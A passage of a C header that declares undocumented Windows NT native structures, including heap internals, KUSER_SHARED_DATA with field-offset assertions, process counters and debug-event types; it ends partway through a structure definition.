PRTL_USER_PROCESS_PARAMETERS Environment; } STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 #define RTL_USER_PROC_PROFILE_USER 0x00000002 #define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 #define RTL_USER_PROC_PROFILE_SERVER 0x00000008 #define RTL_USER_PROC_RESERVE_1MB 0x00000020 #define RTL_USER_PROC_RESERVE_16MB 0x00000040 #define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 #define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 #define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 #define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 #define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 #define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( PVOID ThreadParameter ); typedef struct _RTL_USER_PROCESS_INFORMATION { ULONG Length; HANDLE Process; HANDLE Thread; CLIENT_ID ClientId; SECTION_IMAGE_INFORMATION ImageInformation; } RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; typedef struct _RTL_USER_PROCESS_INFORMATION64 { ULONG Length; LONGLONG Process; LONGLONG Thread; CLIENT_ID64 ClientId; SECTION_IMAGE_INFORMATION64 ImageInformation; } RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; #define RTL_TRACE_IN_USER_MODE 0x00000001 #define RTL_TRACE_IN_KERNEL_MODE 0x00000002 #define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 #define RTL_TRACE_USE_PAGED_POOL 0x00000008 typedef struct _RTL_RESOURCE { RTL_CRITICAL_SECTION CriticalSection; HANDLE SharedSemaphore; ULONG NumberOfWaitingShared; HANDLE ExclusiveSemaphore; ULONG NumberOfWaitingExclusive; LONG NumberOfActive; HANDLE ExclusiveOwnerThread; ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. PRTL_RESOURCE_DEBUG DebugInfo; } RTL_RESOURCE, *PRTL_RESOURCE; #define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) typedef struct _RTL_TRACE_BLOCK { ULONG Magic; ULONG Count; ULONG Size; SIZE_T UserCount; SIZE_T UserSize; PVOID UserContext; struct _RTL_TRACE_BLOCK * Next; PVOID * Trace; } RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; typedef struct _RTL_TRACE_ENUMERATE { PRTL_TRACE_DATABASE Database; ULONG Index; PRTL_TRACE_BLOCK Block; } RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; typedef struct _KLDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; PVOID ExceptionTable; ULONG ExceptionTableSize; PVOID GpValue; struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT __Unused5; PVOID SectionPointer; ULONG CheckSum; ULONG CoverageSectionSize; PVOID CoverageSection; PVOID LoadedImports; PVOID PatchInformation; } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // #define RTL_HEAP_BUSY (USHORT)0x0001 #define RTL_HEAP_SEGMENT (USHORT)0x0002 #define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 #define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 #define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 #define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 #define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 #define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 #define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 #pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) typedef struct _DISPATCHER_HEADER { union { struct { UCHAR Type; union { UCHAR Absolute; UCHAR NpxIrql; }; union { UCHAR Size; UCHAR Hand; }; union { UCHAR Inserted; BOOLEAN DebugActive; }; }; // struct .. volatile LONG Lock; }; // first union .. LONG SignalState; LIST_ENTRY WaitListHead; } DISPATCHER_HEADER, *PDISPATCHER_HEADER; typedef struct _KEVENT { DISPATCHER_HEADER Header; } KEVENT, *PKEVENT, *PRKEVENT; typedef struct _KGATE { DISPATCHER_HEADER Header; } KGATE, *PKGATE; typedef struct _KSEMAPHORE { DISPATCHER_HEADER Header; LONG Limit; } KSEMAPHORE, *PKSEMAPHORE; // typedef struct _OWNER_ENTRY { ULONG OwnerThread; LONG OwnerCount; ULONG TableSize; } OWNER_ENTRY, *POWNER_ENTRY; // typedef struct _ERESOURCE { LIST_ENTRY SystemResourcesList; OWNER_ENTRY* OwnerTable; SHORT ActiveCount; USHORT Flag; KSEMAPHORE* SharedWaiters; KEVENT* ExclusiveWaiters; OWNER_ENTRY OwnerEntry; ULONG ActiveEntries; ULONG ContentionCount; ULONG NumberOfSharedWaiters; ULONG NumberOfExclusiveWaiters; PVOID Address; ULONG CreatorBackTraceIndex; ULONG SpinLock; } ERESOURCE, *PERESOURCE; // #define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) #define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) #define HEAP_GRANULARITY_SHIFT 3 #define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) #define HEAP_MAXIMUM_FREELISTS 128 #define HEAP_MAXIMUM_SEGMENTS 16 #define HEAP_ENTRY_BUSY 0x01 #define HEAP_ENTRY_EXTRA_PRESENT 0x02 #define HEAP_ENTRY_FILL_PATTERN 0x04 #define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 #define HEAP_ENTRY_LAST_ENTRY 0x10 #define HEAP_ENTRY_SETTABLE_FLAG1 0x20 #define HEAP_ENTRY_SETTABLE_FLAG2 0x40 #define HEAP_ENTRY_SETTABLE_FLAG3 0x80 #define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 typedef struct _HEAP_LOCK { union { RTL_CRITICAL_SECTION CriticalSection; ERESOURCE Resource; } Lock; } HEAP_LOCK, *PHEAP_LOCK; typedef struct _HEAP_TUNING_PARAMETERS { ULONG CommittThresholdShift; ULONG MaxPreCommittThreshold; } HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // typedef struct _HEAP_PSEUDO_TAG_ENTRY { ULONG Allocs; ULONG Frees; ULONG Size; } HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // typedef struct _HEAP_TAG_ENTRY { ULONG Allocs; ULONG Frees; ULONG Size; USHORT TagIndex; USHORT CreatorBackTraceIndex; WCHAR TagName[ 24 ]; } HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // typedef struct _HEAP_ENTRY { USHORT Size; UCHAR Flags; UCHAR SmallTagIndex; PVOID SubSegmentCode; USHORT PreviousSize; UCHAR SegmentOffset; UCHAR LFHFlags; UCHAR UnusedBytes; USHORT FunctionIndex; USHORT ContextValue; ULONG InterceptorValue; USHORT UnusedBytesLength; UCHAR EntryOffset; UCHAR ExtendedBlockSignature; ULONG Code1; USHORT Code2; UCHAR Code3; UCHAR Code4; ULONG64 AgregateCode; } HEAP_ENTRY, *PHEAP_ENTRY; typedef struct _HEAP_COUNTERS { ULONG TotalMemoryReserved; ULONG TotalMemoryCommitted; ULONG TotalMemoryLargeUCR; ULONG TotalSizeInVirtualBlocks; ULONG TotalSegments; ULONG TotalUCRs; ULONG CommittOps; ULONG DeCommitOps; ULONG LockAcquires; ULONG LockCollisions; ULONG CommitRate; ULONG DecommittRate; ULONG CommitFailures; ULONG InBlockCommitFailures; ULONG CompactHeapCalls; ULONG CompactedUCRs; ULONG InBlockDeccommits; ULONG InBlockDeccomitSize; } HEAP_COUNTERS, *PHEAP_COUNTERS; // typedef struct _HEAP { HEAP_ENTRY Entry; ULONG SegmentSignature; ULONG SegmentFlags; LIST_ENTRY SegmentListEntry; struct _HEAP* Heap; PVOID BaseAddress; ULONG NumberOfPages; PHEAP_ENTRY FirstEntry; PHEAP_ENTRY LastValidEntry; ULONG NumberOfUnCommittedPages; ULONG NumberOfUnCommittedRanges; USHORT SegmentAllocatorBackTraceIndex; USHORT Reserved; LIST_ENTRY UCRSegmentList; ULONG Flags; ULONG ForceFlags; ULONG CompatibilityFlags; ULONG EncodeFlagMask; HEAP_ENTRY Encoding; ULONG PointerKey; ULONG Interceptor; ULONG VirtualMemoryThreshold; ULONG Signature; ULONG SegmentReserve; ULONG SegmentCommit; ULONG DeCommitFreeBlockThreshold; ULONG DeCommitTotalFreeThreshold; ULONG TotalFreeSize; ULONG MaximumAllocationSize; USHORT ProcessHeapsListIndex; USHORT HeaderValidateLength; PVOID HeaderValidateCopy; USHORT NextAvailableTagIndex; USHORT MaximumTagIndex; PHEAP_TAG_ENTRY TagEntries; LIST_ENTRY UCRList; ULONG AlignRound; ULONG AlignMask; LIST_ENTRY VirtualAllocdBlocks; LIST_ENTRY SegmentList; USHORT AllocatorBackTraceIndex; ULONG NonDedicatedListLength; PVOID BlocksIndex; PVOID UCRIndex; PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; LIST_ENTRY FreeLists; PHEAP_LOCK LockVariable; LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html PVOID FrontEndHeap; USHORT FrontHeapLockCount; UCHAR FrontEndHeapType; HEAP_COUNTERS Counters; HEAP_TUNING_PARAMETERS TuningParameters; } HEAP, *PHEAP; // typedef struct _HEAP_FREE_ENTRY_EXTRA { USHORT TagIndex; USHORT FreeBackTraceIndex; } HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // typedef struct _HEAP_ENTRY_EXTRA { USHORT AllocatorBackTraceIndex; USHORT TagIndex; ULONG Settable; ULONG64 ZeroInit; } HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY { LIST_ENTRY Entry; HEAP_ENTRY_EXTRA ExtraStuff; ULONG CommitSize; ULONG ReserveSize; HEAP_ENTRY BusyBlock; } HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // // // Known extended CPU state feature IDs // // #define XSTATE_LEGACY_FLOATING_POINT 0 // #define XSTATE_LEGACY_SSE 1 // #define XSTATE_GSSE 2 // // #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) // #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) // #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) // #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) // // #define MAXIMUM_XSTATE_FEATURES 64 typedef enum _HARDERROR_RESPONSE_OPTION { OptionAbortRetryIgnore, OptionOk, OptionOkCancel, OptionRetryCancel, OptionYesNo, OptionYesNoCancel, OptionShutdownSystem, OptionOkNoWait, OptionCancelTryContinue } HARDERROR_RESPONSE_OPTION; typedef enum _HARDERROR_RESPONSE { ResponseReturnToCaller, ResponseNotHandled, ResponseAbort, ResponseCancel, ResponseIgnore, ResponseNo, ResponseOk, ResponseRetry, ResponseYes, ResponseTryAgain, ResponseContinue } HARDERROR_RESPONSE; typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { StandardDesign, // None == 0 == standard design NEC98x86, // NEC PC98xx series on X86 EndAlternatives // past end of known alternatives } ALTERNATIVE_ARCHITECTURE_TYPE; #define NX_SUPPORT_POLICY_ALWAYSOFF 0 #define NX_SUPPORT_POLICY_ALWAYSON 1 #define NX_SUPPORT_POLICY_OPTIN 2 #define NX_SUPPORT_POLICY_OPTOUT 3 #define PROCESSOR_FEATURE_MAX 64 #define MAX_WOW64_SHARED_ENTRIES 16 #if defined(_MSC_VER) && (_MSC_VER < 1300) #define XSTATE_LEGACY_FLOATING_POINT 0 #define XSTATE_LEGACY_SSE 1 #define XSTATE_GSSE 2 #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) #define MAXIMUM_XSTATE_FEATURES 64 // // Extended processor state configuration // #if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 typedef struct _XSTATE_FEATURE { DWORD Offset; DWORD Size; } XSTATE_FEATURE, *PXSTATE_FEATURE; typedef struct _XSTATE_CONFIGURATION { // Mask of enabled features DWORD64 EnabledFeatures; // Total size of the save area DWORD Size; DWORD OptimizedSave : 1; // List of features ( XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; } XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; #endif #ifndef _WINDOWS_ typedef enum _HEAP_INFORMATION_CLASS { HeapCompatibilityInformation } HEAP_INFORMATION_CLASS; #endif //_WINDOWS_ #endif typedef struct _KUSER_SHARED_DATA { ULONG TickCountLowDeprecated; ULONG TickCountMultiplier; volatile KSYSTEM_TIME InterruptTime; volatile KSYSTEM_TIME SystemTime; volatile KSYSTEM_TIME TimeZoneBias; USHORT ImageNumberLow; USHORT ImageNumberHigh; WCHAR NtSystemRoot[260]; ULONG MaxStackTraceDepth; ULONG CryptoExponent; ULONG TimeZoneId; ULONG LargePageMinimum; ULONG Reserved2[7]; ULONG NtProductType; BOOLEAN ProductTypeIsValid; ULONG NtMajorVersion; ULONG NtMinorVersion; BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; ULONG Reserved1; ULONG Reserved3; volatile ULONG TimeSlip; ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; LARGE_INTEGER SystemExpirationDate; ULONG SuiteMask; BOOLEAN KdDebuggerEnabled; UCHAR NXSupportPolicy; volatile ULONG ActiveConsoleId; volatile ULONG DismountCount; ULONG ComPlusPackage; ULONG LastSystemRITEventTickCount; ULONG NumberOfPhysicalPages; BOOLEAN SafeBootMode; union { UCHAR TscQpcData; struct { UCHAR TscQpcEnabled : 1; UCHAR TscQpcSpareFlag : 1; UCHAR TscQpcShift : 6; }; }; UCHAR TscQpcPad[2]; union { ULONG TraceLogging; ULONG SharedDataFlags; struct { ULONG DbgErrorPortPresent : 1; ULONG DbgElevationEnabled : 1; ULONG DbgVirtEnabled : 1; ULONG DbgInstallerDetectEnabled : 1; ULONG DbgSystemDllRelocated : 1; ULONG DbgDynProcessorEnabled : 1; ULONG DbgSEHValidationEnabled : 1; ULONG SpareBits : 25; }; }; ULONG DataFlagsPad[1]; ULONGLONG TestRetInstruction; ULONG SystemCall; ULONG SystemCallReturn; ULONGLONG SystemCallPad[3]; union { volatile KSYSTEM_TIME TickCount; volatile ULONG64 TickCountQuad; struct { ULONG ReservedTickCountOverlay[3]; ULONG TickCountPad[1]; }; }; ULONG Cookie; // Entries below all invalid below Windows Vista ULONG CookiePad[1]; LONGLONG ConsoleSessionForegroundProcessId; ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; USHORT UserModeGlobalLogger[16]; ULONG ImageFileExecutionOptions; ULONG LangGenerationCount; union { ULONGLONG AffinityPad; // only valid on Windows Vista ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista ULONGLONG Reserved5; }; volatile ULONG64 InterruptTimeBias; volatile ULONG64 TscQpcBias; volatile ULONG ActiveProcessorCount; volatile USHORT ActiveGroupCount; USHORT Reserved4; volatile ULONG AitSamplingValue; volatile ULONG AppCompatFlag; ULONGLONG SystemDllNativeRelocation; ULONG SystemDllWowRelocation; ULONG XStatePad[1]; XSTATE_CONFIGURATION XState; } KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); #define SHARED_USER_DATA_VA 0x7FFE0000 #define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) __inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } __forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } //added 20/03/2011 #define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 #define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 #define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 //added 20/03/2011 typedef struct _RTL_PROCESS_REFLECTION_INFORMATION { HANDLE Process; HANDLE Thread; CLIENT_ID ClientId; } RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; //FIXED 21.02.2011 size for x64 typedef struct _VM_COUNTERS { SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; } VM_COUNTERS; typedef VM_COUNTERS *PVM_COUNTERS; #if (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct _IO_COUNTERS { ULONGLONG ReadOperationCount; ULONGLONG WriteOperationCount; ULONGLONG OtherOperationCount; ULONGLONG ReadTransferCount; ULONGLONG WriteTransferCount; ULONGLONG OtherTransferCount; } IO_COUNTERS; typedef IO_COUNTERS *PIO_COUNTERS; #endif // SystemProcessesAndThreadsInformation //FIXED 21.02.2011 size for x64 (and as well for x86 too) typedef struct _SYSTEM_PROCESSES_INFORMATION { ULONG NextEntryDelta; ULONG ThreadCount; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR PageDirectoryBase; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD_INFORMATION Threads[1]; } SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; #define SIZEOF_BP_BUFFER 32 #define LPC_BUFFER_SIZE 0x130 typedef struct _DBGKM_EXCEPTION { EXCEPTION_RECORD ExceptionRecord; ULONG FirstChance; } DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; typedef struct _DBGKM_CREATE_THREAD { ULONG SubSystemKey; PVOID StartAddress; } DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; typedef struct _DBGKM_CREATE_PROCESS { ULONG SubSystemKey; HANDLE FileHandle; PVOID BaseOfImage; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; DBGKM_CREATE_THREAD InitialThread; } DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; typedef struct _DBGKM_EXIT_THREAD { NTSTATUS ExitStatus; } DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; typedef struct _DBGKM_EXIT_PROCESS { NTSTATUS ExitStatus; } DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; typedef struct _DBGKM_LOAD_DLL { HANDLE FileHandle; PVOID BaseOfDll; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; PVOID NamePointer; } DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; typedef struct _DBGKM_UNLOAD_DLL { PVOID BaseAddress; } DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; typedef enum _DBG_STATE { DbgIdle, DbgReplyPending, DbgCreateThreadStateChange, DbgCreateProcessStateChange, DbgExitThreadStateChange, DbgExitProcessStateChange, DbgExceptionStateChange, DbgBreakpointStateChange, DbgSingleStepStateChange, DbgLoadDllStateChange, DbgUnloadDllStateChange } DBG_STATE, *PDBG_STATE; typedef struct _DBGUI_CREATE_THREAD { HANDLE HandleToThread; DBGKM_CREATE_THREAD NewThread; } DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; typedef struct _DBGUI_CREATE_PROCESS { HANDLE HandleToProcess; HANDLE HandleToThread; DBGKM_CREATE_PROCESS NewProcess; } DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; typedef struct _DBGUI_WAIT_STATE_CHANGE { DBG_STATE NewState; CLIENT_ID AppClientId; union { DBGKM_EXCEPTION Exception; DBGUI_CREATE_THREAD CreateThread; DBGUI_CREATE_PROCESS CreateProcessInfo; DBGKM_EXIT_THREAD ExitThread; DBGKM_EXIT_PROCESS ExitProcess; DBGKM_LOAD_DLL LoadDll; DBGKM_UNLOAD_DLL UnloadDll; } StateInfo; } DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; #define DEBUG_READ_EVENT 0x0001 #define DEBUG_PROCESS_ASSIGN 0x0002 #define DEBUG_SET_INFORMATION 0x0004 #define DEBUG_QUERY_INFORMATION 0x0008 #define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ DEBUG_QUERY_INFORMATION) #define DEBUG_KILL_ON_CLOSE 0x1 typedef enum _DEBUGOBJECTINFOCLASS { DebugObjectFlags = 1, MaxDebugObjectInfoClass } DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; //added 21/03/2011 //begin typedef struct _RTL_HEAP_TAG_INFO { ULONG NumberOfAllocations; ULONG NumberOfFrees; SIZE_T BytesAllocated; } RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; #define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS #define MAKE_TAG( t ) (RTL_HEAP_MAKE_TAG( NtdllBaseTag, t )) typedef NTSTATUS (NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( IN PVOID HeapHandle, IN PVOID Parameter ); typedef struct _RTL_HEAP_USAGE_ENTRY { struct _RTL_HEAP_USAGE_ENTRY *Next; PVOID Address; SIZE_T Size; USHORT AllocatorBackTraceIndex; USHORT TagIndex; } RTL_HEAP_USAGE_ENTRY, *PRTL_HEAP_USAGE_ENTRY; typedef struct _RTL_HEAP_USAGE { ULONG Length; SIZE_T BytesAllocated; SIZE_T BytesCommitted; SIZE_T BytesReserved; SIZE_T BytesReservedMaximum; PRTL_HEAP_USAGE_ENTRY Entries; PRTL_HEAP_USAGE_ENTRY AddedEntries; PRTL_HEAP_USAGE_ENTRY RemovedEntries; ULONG_PTR Reserved[8]; } RTL_HEAP_USAGE, *PRTL_HEAP_USAGE; #define HEAP_USAGE_ALLOCATED_BLOCKS HEAP_REALLOC_IN_PLACE_ONLY #define HEAP_USAGE_FREE_BUFFER HEAP_ZERO_MEMORY typedef struct _RTL_HEAP_WALK_ENTRY { PVOID DataAddress; SIZE_T DataSize; UCHAR OverheadBytes; UCHAR SegmentIndex; USHORT 